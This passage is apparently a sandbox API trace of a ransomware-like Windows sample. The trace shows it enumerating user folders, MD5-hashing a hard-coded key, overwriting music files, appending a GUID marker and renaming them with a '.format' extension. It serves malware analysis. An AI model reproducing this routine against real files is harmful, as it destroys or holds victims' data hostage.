FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0067.283] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned=".lnk" [0067.283] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3282148 | out: hHeap=0x5d0000) returned 1 [0067.283] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0067.283] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned=".lnk" [0067.283] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0067.283] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.283] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.283] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.283] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0067.284] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.284] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.284] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.284] PathFindFileNameW (pszPath="") returned="" [0067.284] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0067.284] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.284] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.284] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0067.284] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.284] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.284] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.284] PathFindFileNameW (pszPath="") returned="" [0067.284] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96777bc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96777bc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.284] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96777bc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96777bc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.284] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ad70d0, ftCreationTime.dwHighDateTime=0x1d4cb1b, ftLastAccessTime.dwLowDateTime=0xc1826910, ftLastAccessTime.dwHighDateTime=0x1d4cace, ftLastWriteTime.dwLowDateTime=0xc1826910, ftLastWriteTime.dwHighDateTime=0x1d4cace, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C04Fzue-Z7KVyl_", cAlternateFileName="C04FZU~1")) returned 1 [0067.284] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e9c930, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x3ebbc700, ftLastAccessTime.dwHighDateTime=0x1d4c9ee, ftLastWriteTime.dwLowDateTime=0x3ebbc700, ftLastWriteTime.dwHighDateTime=0x1d4c9ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c8v-4o", cAlternateFileName="")) returned 1 [0067.284] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.284] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned=".ini" [0067.285] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbf1ea90, ftCreationTime.dwHighDateTime=0x1d4cef5, ftLastAccessTime.dwLowDateTime=0x22e638b0, ftLastAccessTime.dwHighDateTime=0x1d4c630, ftLastWriteTime.dwLowDateTime=0x22e638b0, ftLastWriteTime.dwHighDateTime=0x1d4c630, nFileSizeHigh=0x0, nFileSizeLow=0x10d8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gN3ngE.m4a", cAlternateFileName="")) returned 1 [0067.285] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gN3ngE.m4a") returned=".m4a" [0067.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gN3ngE.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gn3nge.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.285] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=69002) returned 1 [0067.285] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.287] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.287] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.288] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x10d8a, lpOverlapped=0x0) returned 1 [0067.288] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.288] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.288] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.288] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0067.289] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.289] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.289] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.289] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.289] GetLastError () returned 0x0 [0067.289] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.289] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0067.290] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10d8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.290] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.290] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.290] CloseHandle (hObject=0x5c8) returned 1 [0067.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d270 [0067.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x870) returned 0x3178dd8 [0067.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d270 | out: hHeap=0x5d0000) returned 1 [0067.291] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gN3ngE.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gn3nge.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gN3ngE.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gn3nge.m4a.format")) returned 1 [0067.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.292] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3282148 | out: hHeap=0x5d0000) returned 1 [0067.293] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ef1c260, ftCreationTime.dwHighDateTime=0x1d4c7dd, ftLastAccessTime.dwLowDateTime=0x7df4c750, ftLastAccessTime.dwHighDateTime=0x1d4c836, ftLastWriteTime.dwLowDateTime=0x7df4c750, ftLastWriteTime.dwHighDateTime=0x1d4c836, nFileSizeHigh=0x0, nFileSizeLow=0x4c9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="H2RlJNYiG6Mk.mp3", cAlternateFileName="H2RLJN~1.MP3")) returned 1 [0067.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x76) returned 0x3282148 [0067.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.293] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H2RlJNYiG6Mk.mp3") returned=".mp3" [0067.293] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H2RlJNYiG6Mk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\h2rljnyig6mk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.293] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=19613) returned 1 [0067.293] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.295] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x4c77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.295] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.296] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.296] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.296] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.296] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x4c9d, lpOverlapped=0x0) returned 1 [0067.296] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.296] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.296] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.296] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.296] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0067.297] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.297] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.297] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.297] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.297] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.297] GetLastError () returned 0x0 [0067.297] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.297] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0067.297] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.297] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4ca0) returned 0x32b2f40 [0067.297] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.297] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.297] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x4c98, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x4c98, lpOverlapped=0x0) returned 1 [0067.298] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.298] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x4c9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.298] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d270 [0067.298] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0067.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.298] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0067.298] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0067.298] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d270 | out: hHeap=0x5d0000) returned 1 [0067.298] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.298] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.298] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.298] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.298] CloseHandle (hObject=0x5c8) returned 1 [0067.299] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31759b8 [0067.299] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x880) returned 0x3178dd8 [0067.299] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31759b8 | out: hHeap=0x5d0000) returned 1 [0067.299] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H2RlJNYiG6Mk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\h2rljnyig6mk.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H2RlJNYiG6Mk.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\h2rljnyig6mk.mp3.format")) returned 1 [0067.299] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.299] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.300] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3282148 | out: hHeap=0x5d0000) returned 1 [0067.300] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff4c5b0, ftCreationTime.dwHighDateTime=0x1d4c7d8, ftLastAccessTime.dwLowDateTime=0x5fb78f10, ftLastAccessTime.dwHighDateTime=0x1d4d232, ftLastWriteTime.dwLowDateTime=0x5fb78f10, ftLastWriteTime.dwHighDateTime=0x1d4d232, nFileSizeHigh=0x0, nFileSizeLow=0x39a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="miLI HhNB0PH1Dx.mp3", cAlternateFileName="MILIHH~1.MP3")) returned 1 [0067.300] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.300] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x76) returned 0x3282148 [0067.300] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.300] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\miLI HhNB0PH1Dx.mp3") returned=".mp3" [0067.300] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\miLI HhNB0PH1Dx.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mili hhnb0ph1dx.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.300] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=14757) returned 1 [0067.300] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.303] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x397f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.303] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.303] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.304] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.304] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.304] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x39a5, lpOverlapped=0x0) returned 1 [0067.304] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.304] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.304] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.304] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.304] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0067.304] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.304] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.304] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.305] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.305] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.305] GetLastError () returned 0x0 [0067.305] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.305] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0067.305] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.305] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x39b0) returned 0x32aa8e0 [0067.305] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.305] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.305] WriteFile (in: hFile=0x5c8, lpBuffer=0x32aa8e0*, nNumberOfBytesToWrite=0x39a0, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32aa8e0*, lpNumberOfBytesWritten=0x38cfb24*=0x39a0, lpOverlapped=0x0) returned 1 [0067.305] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32aa8e0 | out: hHeap=0x5d0000) returned 1 [0067.305] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x39a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.305] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d270 [0067.305] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0067.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.305] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0067.305] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0067.305] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 